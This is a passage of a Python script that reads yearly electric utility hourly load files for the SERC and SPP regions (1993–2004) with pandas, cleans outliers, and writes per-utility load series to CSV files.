open('%s/serc/1997/CEPC97' % (fulldir)).readlines()[5:]]).iloc[:-1, 1:].astype(float)/1000).values.ravel(), 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/CEPC98' % (fulldir)).readlines()]).iloc[:, 1:].astype(float)).values.ravel(), 2000 : pd.read_excel('%s/serc/2000/CEPC00' % (fulldir), sheetname=1, skiprows=3)['MW'].values, 2001 : pd.read_excel('%s/serc/2001/CEPC01' % (fulldir), sheetname=1, skiprows=3)['MW'].values, 2002 : pd.read_excel('%s/serc/2002/CEPC02' % (fulldir), sheetname=0, skiprows=5)['MW'].values, 2002 : pd.read_excel('%s/serc/2002/CEPC02' % (fulldir), sheetname=0, skiprows=5)['MW'].values }, 3408 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/CEPB93' % (fulldir)).readlines()[12:]])[1].astype(float)/1000).values, 1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/CEPB94' % (fulldir)).readlines()[10:]])[1].astype(float)).values, 1995 : (pd.DataFrame([i.split() for i in open('%s/serc/1995/CEPB95' % (fulldir)).readlines()[6:]])[2].astype(float)).values, 1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/CEPB96' % (fulldir)).readlines()[10:]])[2].astype(float)).values, 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/CEPB97' % (fulldir)).readlines()[9:]])[2].astype(float)).values, 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/CEPB98' % (fulldir)).readlines()[9:]])[2].astype(float)).values, 1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/CEPB99' % (fulldir)).readlines()[8:]])[2].astype(float)).values, 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/CEPB00' % (fulldir)).readlines()[11:]])[2].astype(float)).values, 2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/CEPB01' % (fulldir)).readlines()[8:]])[2].astype(float)).values, 2002 : (pd.DataFrame([i.split() for i in open('%s/serc/2002/CEPB02' % (fulldir)).readlines()[6:]])[4].astype(float)).values, 2003 : (pd.DataFrame([i.split() for i in open('%s/serc/2003/CEPB03' % (fulldir)).readlines()[6:]])[2].astype(float)).values }, 12293 : { 2000 : (pd.read_csv('%s/serc/2000/MEMP00' % (fulldir)).iloc[:, -1]/1000).values, 2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/MEMP01' % (fulldir)).readlines()[1:]])[3].str.replace(',', '').astype(float)/1000).values, 2002 : (pd.read_csv('%s/serc/2002/MEMP02' % (fulldir), sep='\t').iloc[:, -1].str.replace(',', '').astype(float)/1000).values, 2003 : pd.read_csv('%s/serc/2003/MEMP03' % (fulldir)).iloc[:, -1].str.replace(',', '').astype(float).values }, 5416 : { 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/DUKE99' % (fulldir)).readlines()[4:]])[2].astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/DUKE00' % (fulldir)).readlines()[5:]])[2].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/DUKE01' % (fulldir)).readlines()[5:]])[2].astype(float).values, 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/DUKE02' % (fulldir)).readlines()[5:]])[2].astype(float).values, 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/DUKE03' % (fulldir)).readlines()[5:-8]])[2].astype(float).values, 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/DUKE04' % (fulldir)).readlines()[5:]])[2].astype(float).values }, 6411 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/FLINT93' % (fulldir)).readlines()])[6].astype(float)/1000).values, 1994 : ((pd.DataFrame([i.split() for i in open('%s/serc/1994/FLINT94' % (fulldir)).readlines()[:-1]])).iloc[:, -1].astype(float)/1000).values, 1995 : ((pd.DataFrame([i.split() for i in open('%s/serc/1995/FLINT95' % (fulldir)).readlines()[1:]]))[3].astype(float)/1000).values, 1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/FLINT96' % (fulldir)).readlines()[3:-2]]))[2].astype(float).values, 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/FLINT97' % (fulldir)).readlines()[6:]]))[3].astype(float).values, 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/FLINT98' % (fulldir)).readlines()[4:]]))[2].astype(float).values, 1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/FLINT99' % (fulldir)).readlines()[1:]]))[1].astype(float).values, 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/FLINT00' % (fulldir)).readlines()[2:]]))[4].astype(float).values }, 7639 : { 1993 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1993', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1993', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1994 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1994', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1994', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1995 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1995', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1995', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1996 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1996', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1996', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1997 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1997', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1997', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1998 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1998', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1998', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 1999 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1999', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='1999', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, 2000 : np.concatenate([pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='2000', skiprows=7, header=None).iloc[:24, 1:183].values.ravel(order='F'), pd.read_excel('%s/serc/2000/GUC00' % (fulldir), sheetname='2000', skiprows=45, header=None).iloc[:24, 1:183].values.ravel(order='F')]).astype(float)/1000, }, 10857 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/LCEC93' % (fulldir)).readlines()[:-1]]).iloc[:, 3:].astype(float).values.ravel(), 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/LCEC94' % (fulldir)).readlines()[:-1]]).iloc[:, 3:].astype(float).values.ravel() }, 13204 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/NPL93' % (fulldir)).readlines()[6:]])[2].astype(float).values, 1994 : pd.read_fwf('%s/serc/1994/NPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 13994 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/OPC93' % (fulldir)).readlines()[4:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1995 : pd.DataFrame([i.split() for i in open('%s/serc/1995/OPC95' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/OPC96' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/OPC97' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/OPC98' % (fulldir)).readlines()[12:]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/OPC99' % (fulldir)).readlines()[18:]])[2].astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/OPC00' % (fulldir)).readlines()[19:]])[2].astype(float).values }, 17539 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/SCEG93' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1995 : pd.DataFrame([i.split() for i in open('%s/serc/1995/SCEG95' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/SCEG96' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/SCEG97' % (fulldir)).readlines()[:-1]]).iloc[:, -1].astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SCEG98' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SCEG99' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SCEG00' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/SCEG01' % (fulldir)).readlines()[:]]).iloc[:, -1].astype(float).values }, 17543 : { 1993 : pd.DataFrame([i.split() for i in open('%s/serc/1993/SCPS93' % (fulldir)).readlines()[:]]).iloc[:, 1:].astype(float).values.ravel(), 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/SCPS96' % (fulldir)).readlines()[:-1]]).astype(float).values.ravel(), 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/SCPS97' % (fulldir)).readlines()[1:-3]]).iloc[:, 4:-1].astype(float).values.ravel(), 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SCPS98' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].replace('NA', '0').astype(float).values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SCPS99' % (fulldir)).readlines()[1:-1]]).iloc[:, 2:-1].replace('NA', '0').astype(float).values.ravel(), 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SCPS00' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(), 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/SCPS01' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(), 2002 : pd.read_excel('%s/serc/2002/SCPS02' % (fulldir), header=None).dropna(axis=1, how='all').iloc[:, 2:-1].values.ravel(), 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/SCPS03' % (fulldir)).readlines()[:]]).iloc[:, 2:].replace('NA', '0').astype(float).values.ravel(), 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/SCPS04' % (fulldir)).readlines()[1:]]).iloc[:, 1:-1].replace('NA', '0').astype(float).values.ravel() }, 17568 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/SMEA93' % (fulldir)).readlines()[5:]])[2].astype(float)/1000).values.ravel(), 1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/SMEA94' % (fulldir)).readlines()[5:]]).iloc[:, -1].astype(float)).values, 1996 : ((pd.DataFrame([i.split() for i in open('%s/serc/1996/SMEA96' % (fulldir)).readlines()[:]])).iloc[:, -24:].astype(float)/1000).values.ravel(), 1997 : pd.read_excel('%s/serc/1997/SMEA97' % (fulldir), sheetname=1, header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/SMEA98' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/SMEA99' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(), 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/SMEA00' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel(), 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/SMEA02' % (fulldir)).readlines()[2:]])[2].astype(float).values.ravel(), 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/SMEA03' % (fulldir)).readlines()[1:]])[2].astype(float).values.ravel() }, 18642 : { 1993 : (pd.DataFrame([i.split() for i in open('%s/serc/1993/TVA93' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1994 : (pd.DataFrame([i.split() for i in open('%s/serc/1994/TVA94' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1995 : (pd.DataFrame([i.split() for i in open('%s/serc/1995/TVA95' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1996 : (pd.DataFrame([i.split() for i in open('%s/serc/1996/TVA96' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1997 : (pd.DataFrame([i.split() for i in open('%s/serc/1997/TVA97' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1998 : (pd.DataFrame([i.split() for i in open('%s/serc/1998/TVA98' % (fulldir)).readlines()[:-1]])[2].astype(float)).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/TVA99' % (fulldir)).iloc[:, 2].astype(float).values, 2000 : pd.read_excel('%s/serc/2000/TVA00' % (fulldir)).iloc[:, 2].astype(float).values, 2001 : pd.read_excel('%s/serc/2001/TVA01' % (fulldir), header=None, skiprows=3).iloc[:, 2].astype(float).values, 2003 : pd.read_excel('%s/serc/2003/TVA03' % (fulldir)).iloc[:, -1].values }, 19876 : { 1993 : pd.read_fwf('%s/serc/1993/VIEP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/serc/1994/VIEP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/serc/1995/VIEP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/serc/1996/VIEP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/serc/1997/VIEP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/serc/1998/VIEP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/serc/1999/VIEP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/VIEP00' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(), 2001 : (pd.DataFrame([i.split() for i in open('%s/serc/2001/VIEP01' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(), 2002 : (pd.DataFrame([i.split() for i in open('%s/serc/2002/VIEP02' % (fulldir)).readlines()[1:]])[2].astype(float)).values.ravel(), 2003 : (pd.DataFrame([i.split() for i in open('%s/serc/2003/VIEP03' % (fulldir)).readlines()[2:]])[3].astype(float)).values.ravel(), 2004 : (pd.DataFrame([i.split() for i in open('%s/serc/2004/VIEP04' % (fulldir)).readlines()[:]])[3].astype(float)).values.ravel() }, 20065 : { 1993 : pd.read_fwf('%s/serc/1993/WEMC93' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1995 : (pd.read_csv('%s/serc/1995/WEMC95' % (fulldir), skiprows=1, header=None, sep=' ', skipinitialspace=True)[3]/1000).values, 1996 : (pd.read_excel('%s/serc/1996/WEMC96' % (fulldir))['Load']/1000).values, 1997 : pd.read_excel('%s/serc/1997/WEMC97' % (fulldir), skiprows=4)['MW'].values, 1998 : pd.concat([pd.read_excel('%s/serc/1998/WEMC98' % (fulldir), sheetname=i).iloc[:, -1] for i in range(12)]).values, 1999 : pd.read_excel('%s/serc/1999/WEMC99' % (fulldir))['mwh'].values, 2000 : (pd.read_excel('%s/serc/2000/WEMC00' % (fulldir)).iloc[:, -1]/1000).values, 2001 : (pd.read_excel('%s/serc/2001/WEMC01' % (fulldir), header=None)[0]/1000).values }, 4958 : { 1999 : (pd.DataFrame([i.split() for i in open('%s/serc/1999/DU99' % (fulldir)).readlines()[1:]]).iloc[:-1, 2:].apply(lambda x: x.str.replace('[,"]', '').str.strip()).astype(float)/1000).values.ravel(), 2000 : (pd.DataFrame([i.split() for i in open('%s/serc/2000/DU00' % (fulldir)).readlines()[1:]]).iloc[:-1, 2:].apply(lambda x: x.str.replace('[,"]', '').str.strip()).astype(float)/1000).values.ravel(), 2003 : pd.read_excel('%s/serc/2003/DU03' % (fulldir)).iloc[:, -1].values }, 924 : { 1999 : pd.read_excel('%s/serc/1999/AECI99' % (fulldir))['CALoad'].values, 2001 : pd.read_excel('%s/serc/2001/AECI01' % (fulldir)).iloc[:, -1].values, 2002 : pd.Series(pd.read_excel('%s/serc/2002/AECI02' % (fulldir), skiprows=3).loc[:, 'Jan':'Dec'].values.ravel(order='F')).dropna().values }, 402290 : { 1996 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1996/ODECD96' % (fulldir)).readlines()[3:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1997 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1997/ODECD97' % (fulldir)).readlines()[4:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1998 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1998/ODECD98' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1999 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1999/ODECD99' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/ODECD00' % (fulldir)).readlines()[3:]])[4].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/ODECD01' % (fulldir)).readlines()[3:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/ODECD02' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/ODECD03' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/ODECD04' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values }, 402291 : { 1996 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1996/ODECV96' % (fulldir)).readlines()[3:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1997 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1997/ODECV97' % (fulldir)).readlines()[4:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1998 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1998/ODECV98' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1999 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1999/ODECV99' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values, 2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/ODECV00' % (fulldir)).readlines()[3:]])[4].astype(float).values, 2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/ODECV01' % (fulldir)).readlines()[3:]])[4].dropna().str.replace('[N/A]', '').replace('', '0').astype(float).values, 2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/ODECV02' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/ODECV03' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values, 2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/ODECV04' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values }, 195 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/APCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/APCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Alabama'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 2].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Alabama'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 2].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 2].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 1].values }, 7140 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/GPCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/GPCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).replace(np.nan, 0).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Georgia'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 3].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Georgia'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 3].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 3].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 2].values }, 7801 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/GUCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/GUCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Gulf'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 4].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Gulf'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 4].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 4].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 3].values }, 12686 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/MPCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/MPCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Mississippi'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 5].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Mississippi'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 5].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 5].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 4].values }, 16687 : { 1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/SECO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values, 1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/SECO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(), 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Savannah'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 6].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Savannah'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 6].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 6].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 5].values }, 18195 : { 1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['System'].dropna().values, 2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 7].values, 2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Southern'].values, 2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 7].values, 2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 8].values, 2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 7].values } } serc.update({40229 : {}}) for i in serc[402290].keys(): serc[40229][i] = serc[402290][i] + serc[402291][i] serc[189][2001][serc[189][2001] > 2000] = 0 serc[3408][2002][serc[3408][2002] > 2000] = 0 serc[3408][2003][serc[3408][2003] > 2000] = 0 serc[7140][1999][serc[7140][1999] < 0] = 0 serc[7140][1994][serc[7140][1994] > 20000] = 0 if not os.path.exists('./serc'): os.mkdir('serc') for k in serc.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(serc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(serc[k][i]))) for i in serc[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./serc/%s.csv' % k) ###### SPP # AECC: 807 # CAJN: 2777 # CLEC: 3265 # EMDE: 5860 # ENTR: 12506 # KCPU: 9996 # LEPA: 26253 # LUS: 9096 # GSU: 55936 <- 7806 # MPS: 12699 # OKGE: 14063 # OMPA: 14077 # PSOK: 15474 # SEPC: 18315 # WFEC: 20447 # WPEK: 20391 # CSWS: 3283 # SRGT: 40233 # GSEC: 7349 spp = { 807 : { 1993 : pd.read_csv('%s/spp/1993/AECC93' % (fulldir), skiprows=6, skipfooter=1, header=None).iloc[:, -1].values, 1994 : pd.read_csv('%s/spp/1994/AECC94' % (fulldir), skiprows=8, skipfooter=1, header=None).iloc[:, -1].values, 1995 : pd.read_csv('%s/spp/1995/AECC95' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1996 : pd.read_csv('%s/spp/1996/AECC96' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1997 : pd.read_csv('%s/spp/1997/AECC97' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1998 : pd.read_csv('%s/spp/1998/AECC98' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values, 1999 : pd.read_csv('%s/spp/1999/AECC99' % (fulldir), skiprows=5, skipfooter=1, header=None).iloc[:, -1].values, 2003 : pd.read_csv('%s/spp/2003/AECC03' % (fulldir), skiprows=5, skipfooter=1, header=None).iloc[:, -2].values, 2004 : pd.read_csv('%s/spp/2004/AECC04' % (fulldir), skiprows=5, header=None).iloc[:, -2].values }, 2777 : { 1998 : pd.read_excel('%s/spp/1998/CAJN98' % (fulldir), skiprows=4).iloc[:365, 1:].values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/CAJN99' % (fulldir)).readlines()[:]])[2].astype(float).values }, 3265 : { 1994 : pd.read_fwf('%s/spp/1994/CLEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.DataFrame([i.split() for i in open('%s/spp/1996/CLEC96' % (fulldir)).readlines()[:]])[0].astype(float).values, 